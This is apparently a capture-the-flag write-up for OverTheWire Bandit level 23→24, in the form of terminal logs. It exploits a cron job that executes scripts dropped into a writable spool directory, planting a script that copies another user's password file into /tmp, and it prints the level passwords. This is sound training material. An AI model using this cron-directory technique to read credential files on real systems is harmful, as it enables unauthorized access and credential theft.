


## Bandit Level 23 → Level 24

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Port:	2220

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Passwords		
Level	User Name	Password
Bandit 23→24	bandit23	QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
Bandit 24→25	bandit24	VAfGXJ1PBSsPSnvsjl8p759leLZ9GGar



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### SSH Information

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## Bandit Level 23 → Level 24

### Level Goal

A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

**NOTE:** This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

**NOTE 2:** Keep in mind that your shell script is removed once executed, so you may want to keep a copy around...

### Commands you may need to solve this level

`cron, crontab, crontab(5)` (use `"man 5 crontab"` to access this)

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*Bandit_24_Write_Up
~/Desktop

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  file and noted it to be a crontab file for bandit24. The crontab [file] contains the following data:
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  following - [A] Minute [B] Hour [C] Day of Month [D] Month [E] Day of Week [F] Command. Each of these positions is occupied with an
  asterick [*]. When an asterick [*] is displayed, it means all possible values for the field. In example, an asterick in the hour time
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bandit23@bandit:~$ #####
bandit23@bandit:~$ #Over the Wire - Bandit Level 23 ----> Level 24 - Solution Set
bandit23@bandit:~$ #####
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bandit23@bandit:~$ #Determine current level and user ID via id and whoami commands
bandit23@bandit:~$ #####
bandit23@bandit:~$ id && whoami
uid=11023(bandit23) gid=11023(bandit23) groups=11023(bandit23)
bandit23
bandit23@bandit:~$ #####
bandit23@bandit:~$ #Determine current working directory and contents via pwd and ls -la commands. Note: The -l option/switch
h outputs directory & file metadata while the -a option/switch outputs any hidden directories and/or files whose titles are
preceeded with a period [.]
bandit23@bandit:~$ pwd && ls -la
/home/bandit23
total 20
drwxr-xr-x  2 root root 4096 Apr 23 18:04 .
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ..
-rw-r--r--  1 root root  220 Jan  6 2022 .bash_logout
-rw-r--r--  1 root root 3771 Jan  6 2022 .bashrc
-rw-r--r--  1 root root  807 Jan  6 2022 .profile
bandit23@bandit:~$
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bandit23@bandit:~$ #####
bandit23@bandit:~$ #Per the directions they direct examining the /etc/cron.d directory for what is being executed. As such,
we navigate to this directory via the cd command and view its contents via the ls -la command. The -l option/switch output
s directory and file metadata while the -a option/switch outputs and hidden files and/or directories preceded by a period [
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preceeded with a period [.]
bandit23@bandit:~$ cd /etc/cron.d && ls -la
total 56
drwxr-xr-x  2 root root  4096 Apr 23 18:05 .
drwxr-xr-x 108 root root 12288 Aug 12 08:42 ..
-rw-r--r--  1 root root   62 Apr 23 18:04 cronjob_bandit15_root
-rw-r--r--  1 root root   62 Apr 23 18:04 cronjob_bandit17_root
-rw-r--r--  1 root root  120 Apr 23 18:04 cronjob_bandit22
-rw-r--r--  1 root root  122 Apr 23 18:04 cronjob_bandit23
-rw-r--r--  1 root root  120 Apr 23 18:04 cronjob_bandit24
-rw-r--r--  1 root root   62 Apr 23 18:04 cronjob_bandit25_root
-rw-r--r--  1 root root  201 Jan  8 2022 e2scrub_all
-rwx-----  1 root root   52 Apr 23 18:05 otw-tmp-dir
-rw-r--r--  1 root root  102 Mar 23 2022 .placeholder
-rw-r--r--  1 root root  396 Feb  2 2021 sysstat
bandit23@bandit:/etc/cron.d$
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Open  Save  -  +  x
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bandit23@bandit:/etc/cron.d$ #Execution of cat cronjob_bandit24 to view file contents
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
```

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bandit23@bandit:~$ cat command to view /usr/bin/cronjob_bandit24.sh
cat: command: No such file or directory
cat: to: No such file or directory
cat: view: No such file or directory
#!/bin/bash
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myname=$(whoami)
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cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done
```

Per examination of /usr/bin/cronjob\_bandit24.sh, the program executes all shell files contained in /var/spool/\$myname/foo. Per analysis of the /usr/bin/cronjob\_bandit24.sh script the \$myname variable is populated with the output of the whoami command of the user who runs this script. In this case, per the crontab file [/etc/cron.d/cronjob\_bandit24] the script is run as bandit24. As such, the \$myname variable is populated with bandit24 and programs placed in /var/spool/bandit24/foo are executed by means of /usr/bin/cronjob\_bandit24.sh.

Per execution of the ls -la command, on /var/spool/bandit24, the foo directory is owned by root and assigned to the bandit24 group. Everyone has execute and write (but not read) privileges to this directory (/var/spool/bandit24/foo). This enables anybody (i.e. us as bandit23) to upload an executable to this directory. As such, any executable in this directory would be executed by bandit24.

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bandit23@bandit:~$ #Execution of ls -la on /var/spool/bandit24 to view permissions and owners of directory foo
bandit23@bandit:~$
bandit23@bandit:~$ ls -la /var/spool/bandit24
total 12
dr-xr-x--- 3 bandit24 bandit23 4096 Apr 23 18:04 .
drwxr-xr-x 5 root      root    4096 Apr 23 18:04 ..
drwxrwx-wx 17 root     bandit24 4096 Aug 18 19:49 foo
```

The password to bandit24 is stored in /etc/bandit\_pass/bandit24. Per execution of ls -la, on this file, the owner and group is bandit24. Through this we deduce the only way to access the password, from this directory, is through accessing the file as bandit24. Since we can upload to /var/spool/bandit24/foo, and executable files in this directory are executed as bandit24, we will upload a shell file to cat the bandit24 password file (/etc/bandit\_pass/bandit24) and save (via redirect) it to a file in /tmp. Everyone has access to /tmp.

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bandit23@bandit:~$ ls -la /etc/bandit_pass/bandit24
-r----- 1 bandit24 bandit24 33 Apr 23 18:04 /etc/bandit_pass/bandit24
bandit23@bandit:~$
```

Suite of commands to: [A] Navigate to /tmp [B] Create a directory, via mkdir command, a directory titled AC\_Bandit\_24 [C] Navigate to directory AC\_Bandit\_24 via cd AC\_Bandit\_24 [D] Utilizing the touch command create a file titled Bandit\_24\_PW\_Harvest.sh [E] Via the chmod command assign the /tmp/AC\_Bandit\_24 directory 775 permissions [F] Utilizing the chmod assign file Bandit\_24\_PW\_Harvest.sh 775 permissions

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bandit23@bandit:/tmp/AC_Bandit_24$ cd /tmp && mkdir -v AC_Bandit_24 && cd AC_Bandit_24 && touch /tmp/AC_Bandit_24/Bandit_24_
PW_Harvest.sh && chmod -v 775 /tmp/AC_Bandit_24 && chmod -v 775 /tmp/AC_Bandit_24/Bandit_24_PW_Harvest.sh
mkdir: created directory 'AC_Bandit_24'
mode of '/tmp/AC_Bandit_24' retained as 0775 (rwxrwxr-x)
mode of '/tmp/AC_Bandit_24/Bandit_24_PW_Harvest.sh' changed from 0664 (rw-rw-r--) to 0775 (rwxrwxr-x)
bandit23@bandit:/tmp/AC_Bandit_24$
```

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bandit23@bandit:~$ #[A] Navigate to the /tmp/AC_Bandit_24 directory via the cd command [B] Utilizing the touch command creat
e a file titled Bandit_24_Output [C] Via the chmod command assign Bandit_24_Output 776 permissions
bandit23@bandit:~$
bandit23@bandit:~$ cd /tmp/AC_Bandit_24 && touch Bandit_24_Output && chmod -v 776 Bandit_24_Output
mode of 'Bandit_24_Output' changed from 0664 (rw-rw-r--) to 0776 (rwxrwxrw-)
bandit23@bandit:/tmp/AC_Bandit_24$
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bandit23@bandit:/tmp/AC_Bandit_24$ #Utilizing the nano text editor populate the Bandit_24_PW_Harvest.sh with statements to:
[A] Print a statement that the password output program is being executed. [B] Include a cat statement to cat the password fr
om /etc/bandit_pass/bandit24 to /tmp/AC_Bandit_24/Bandit_24_Output
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```
bandit23@bandit:~$ #Copy, via cp command, /tmp/AC-Bandit_24/Bandit_24_PW_Harvest.sh to /var/spool/bandit24/foo, in order to
facilitate execution of this program, by the bash24 user, via the program that executes programs/executables contained in /v
ar/spool/bandit24/foo
bandit23@bandit:~$
bandit23@bandit:~$ cp -v /tmp/AC_Bandit_24/Bandit_24_PW_Harvest.sh /var/spool/bandit24/foo
'/tmp/AC_Bandit_24/Bandit_24_PW_Harvest.sh' -> '/var/spool/bandit24/foo/Bandit_24_PW_Harvest.sh'
bandit23@bandit:~$
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bandit23@bandit:/tmp/AC_Bandit_24$ #Execute the ls -la command to view contents and metadata of the /tmp/AC_Bandit_24 direct
ory. We did this and noted the Bandit_24_Output file populated with 78 bytes. As such, we utilized the cat file to view it
s contents and noted it was populated with the bandit24 password.
bandit23@bandit:/tmp/AC_Bandit_24$
bandit23@bandit:/tmp/AC_Bandit_24$ cat Bandit_24_Output
Bandit_24_PW_Harvest.sh command is executing
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
bandit23@bandit:/tmp/AC_Bandit_24$
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## Level 24 → Level 25 Password

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